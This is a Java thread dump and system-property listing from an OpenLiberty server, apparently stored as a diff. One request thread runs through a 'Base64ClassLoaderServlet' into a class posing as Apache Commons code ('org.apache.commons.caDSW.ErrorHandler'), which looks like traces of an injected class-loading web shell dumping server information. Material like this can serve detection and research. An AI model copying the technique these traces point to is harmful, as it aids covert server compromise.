at com.ibm.ws.kernel.launch.internal.ServerCommandListener$2.run(ServerCommandListener.java:318)
"Inbound Read Selector.1" #56 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
at java.lang.Thread.run(Thread.java:812)
"ClassloaderMapProcessingThread-20" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8a993603
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"GC Slave" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Shared TCPChannel NonBlocking Accept Thread" #58 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
at java.lang.Thread.run(Thread.java:812)
"Scheduled Executor-thread-1" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15fbddec
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6a301c2
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@ba1d8a91
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:81)
at java.lang.Thread.run(Thread.java:812)
"JIT Diagnostic Compilation Thread-7 Suspended" #11 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-21" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@875944b8
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Executor Service Control Timer" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@62d5a6bb
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:563)
at java.util.TimerThread.run(Timer.java:516)
"Default Executor-thread-10" #61 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@82134d3b
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Inbound Write Selector.1" #79 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-4" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@4aff664a
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"JIT Compilation Thread-6 Suspended" #10 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Start Level: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #38 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@b5c4138
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336)
"Attach API wait loop" #28 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at com.ibm.tools.attach.target.IPC.waitSemaphore(Native Method)
at com.ibm.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:254)
at com.ibm.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66)
at com.ibm.tools.attach.target.WaitLoop.run(WaitLoop.java:154)
"Inbound Read Selector.1" #78 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-20" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@3ec5b3bd
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"JIT Compilation Thread-4 Suspended" #8 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Timer-2" #39 daemon [WAITING] on java.util.TaskQueue@946ab4b7
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at java.util.TimerThread.mainLoop(Timer.java:537)
at java.util.TimerThread.run(Timer.java:516)
"Default Executor-thread-14" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a1e93e55
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"JIT Compilation Thread-3 Suspended" #7 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"MemoryMXBean notification dispatcher" #40 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at com.ibm.lang.management.internal.MemoryNotificationThread.processNotificationLoop(Native Method)
at com.ibm.lang.management.internal.MemoryNotificationThread.run(MemoryNotificationThread.java:183)
"Default Executor-thread-8" #59 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.getStackTrace(Thread.java:1154)
at java.lang.Thread.getAllStackTraces(Thread.java:1182)
at org.apache.commons.caDSW.ErrorHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:3422)
at java.io.PrintWriter.print(PrintWriter.java:627)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1255)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:743)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:440)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93)
at EmptyFilter.doFilter(EmptyFilter.java:21)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:996)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1134)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1005)
at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75)
at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83)
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:927)
at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1023)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:417)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:376)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:532)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:466)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:331)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:302)
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:165)
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:74)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:501)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:571)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:926)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1015)
at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:232)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1160)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Finalizer thread" #25 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Slave" #19 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"zip file reaper" #75 daemon [WAITING] on com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock@75599147
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:682)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:199)
at java.lang.Thread.run(Thread.java:812)
"Active Thread: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9476a25b
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-2" #48 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7cb23130
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-12" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@299ec668
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"GC Slave" #23 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@c9877e5d
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:168)
at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:250)
at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:181)
at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:716)
at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:310)
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114)
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100)
at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:212)
at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:242)
at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117)
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59)
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
com.ibm.lang.management.internal.MemoryNotificationThread
com.ibm.misc.SignalDispatcher
com.ibm.tools.attach.target.CommonDirectory
com.ibm.tools.attach.target.IPC
com.ibm.tools.attach.target.WaitLoop
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable
com.ibm.ws.http.channel.internal.inbound.HttpInboundLink
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper
com.ibm.ws.kernel.boot.Launcher
com.ibm.ws.kernel.boot.cmdline.EnvCheck
com.ibm.ws.kernel.boot.internal.KernelBootstrap
com.ibm.ws.kernel.launch.internal.FrameworkManager
com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl
com.ibm.ws.kernel.launch.internal.ServerCommandListener
com.ibm.ws.kernel.launch.internal.ServerCommandListener$2
com.ibm.ws.security.jaspi.JaspiServletFilter
com.ibm.ws.tcpchannel.internal.ChannelSelector
com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback
com.ibm.ws.tcpchannel.internal.WorkQueueManager
com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker
com.ibm.ws.threading.internal.BoundedBuffer
com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper
com.ibm.ws.webcontainer.WebContainer
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
com.ibm.ws.webcontainer.filter.WebAppFilterChain
com.ibm.ws.webcontainer.filter.WebAppFilterManager
com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2
com.ibm.ws.webcontainer.servlet.CacheServletWrapper
com.ibm.ws.webcontainer.servlet.ServletWrapper
com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40
org.apache.commons.caDSW.ErrorHandler
org.apache.felix.scr.impl.ComponentActorThread
org.eclipse.osgi.container.SystemModule
org.eclipse.osgi.framework.eventmgr.EventManager
org.eclipse.osgi.framework.eventmgr.EventManager$EventThread
org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle
org.eclipse.osgi.launch.Equinox
org.eclipse.osgi.storage.bundlefile.MRUBundleFileList
org.eclipse.osgi.storage.bundlefile.ZipBundleFile
@@ -0,0 +1,999 @@
# Generated At 2025-12-21 06:35:20
SystemProps:
com.ibm.ws390.jta.TransactionManager: com.ibm.wsspi.zos.tx.RRSTXSynchronizationManager
java.vendor: AdoptOpenJDK
sun.java.launcher: SUN_STANDARD
shared.resource.dir: /opt/ol/wlp/usr/shared/resources/
os.name: Linux
kernel.launch.time: 376333021825979
sun.boot.class.path: /opt/java/openjdk/lib/amd64/default/jclSC180/vm.jar:/opt/java/openjdk/lib/se-service.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jce.jar
java.vm.specification.vendor: Oracle Corporation
shared.app.dir: /opt/ol/wlp/usr/shared/apps/
java.runtime.version: 1.8.0_292-b10
wlp.lib.dir: /opt/ol/wlp/lib/
wlp.svc.binding.root: /opt/ol/wlp/usr/servers/defaultServer/bindings/
wlp.workarea.dir: workarea/
user.name: default
java.compiler: j9jit29
os.encoding: UTF-8
com.ibm.util.extralibs.properties:
com.ibm.jcl.checkClassPath:
server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/
user.language: en
jdk.attach.allowAttachSelf: true
com.ibm.oti.vm.bootstrap.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64
sun.boot.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64
wlp.install.dir: /opt/ol/wlp/
server.output.dir: /opt/ol/wlp/output/defaultServer/
jdk.extensions.version: 8.0.292.0
java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager
java.version: 1.8.0_292
user.timezone: GMT
com.ibm.system.agent.path: /opt/java/openjdk/lib/amd64
sun.arch.data.model: 64
com.ibm.zero.version: 2
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
com.ibm.oti.vm.library.version: 29
sun.jnu.encoding: UTF-8
file.encoding.pkg: sun.io
file.separator: /
java.specification.name: Java Platform API Specification
java.class.version: 52.0
com.ibm.ws.beta.edition: false
user.country: US
java.home: /opt/java/openjdk
java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled)
OpenJ9 - b4cc246d9
OMR - 162e6f729
JCL - 2a5e268814 based on jdk8u292-b10
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
sun.font.fontmanager: sun.awt.X11FontManager
java.awt.fonts:
path.separator: :
org.apache.aries.blueprint.preemptiveShutdown: false
java.vm.version: openj9-0.26.0
user.variant:
wlp.user.dir.isDefault: true
ibm.cds.suppresserrors: true
java.awt.printerjob: sun.print.PSPrinterJob
jdk.extensions.name: Extensions for OpenJDK for Eclipse OpenJ9
sun.io.unicode.encoding: UnicodeLittle
awt.toolkit: sun.awt.X11.XToolkit
ibm.signalhandling.sigint: true
org.apache.cxf.stax.allowInsecureParser: 1
user.home: /home/default
com.ibm.cpu.endian: little
java.specification.vendor: Oracle Corporation
ibm.signalhandling.sigchain: true
org.jboss.weld.xml.disableValidating: true
java.library.path: /opt/java/openjdk/lib/amd64/default:/opt/java/openjdk/lib/amd64:/usr/lib64:/usr/lib
java.vendor.url: https://adoptopenjdk.net/
java.vm.vendor: Eclipse OpenJ9
java.fullversion: 1.8.0_292-b10
JRE 1.8.0 Linux amd64-64-Bit Compressed References 20210421_1000 (JIT enabled, AOT enabled)
OpenJ9 - b4cc246d9
OMR - 162e6f729
JCL - 2a5e268814 based on jdk8u292-b10
java.runtime.name: OpenJDK Runtime Environment
sun.net.http.retryPost: false
sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer
java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar
server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/
wlp.user.dir: /opt/ol/wlp/usr/
java.vm.specification.name: Java Virtual Machine Specification
sun.java.launcher.pid: 1
java.vm.specification.version: 1.8
sun.cpu.endian: little
java.awt.headless: true
java.io.tmpdir: /tmp
ibm.system.encoding: UTF-8
shared.config.dir: /opt/ol/wlp/usr/shared/config/
os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
ibm.signalhandling.rs: false
java.ext.dirs: /opt/java/openjdk/lib/ext
user.dir: /opt/ol/wlp/output/defaultServer
line.separator:
java.vm.name: Eclipse OpenJ9 VM
com.ibm.oti.shared.enabled: true
com.ibm.vm.bitmode: 64
wlp.process.type: server
javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder
file.encoding: UTF-8
java.specification.version: 1.8
com.ibm.oti.configuration: scar
wlp.server.name: defaultServer
===========================================
ThreadStacks:
"Thread-24" #97 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199)
at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"sib.SpillDispatcher-77EB184637998288-5" #86 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@2474fea
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Config-Thread-9" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b80cdb
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:1134)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"JIT Diagnostic Compilation Thread-007 Suspended" #9 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Inbound Read Selector.1" #100 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
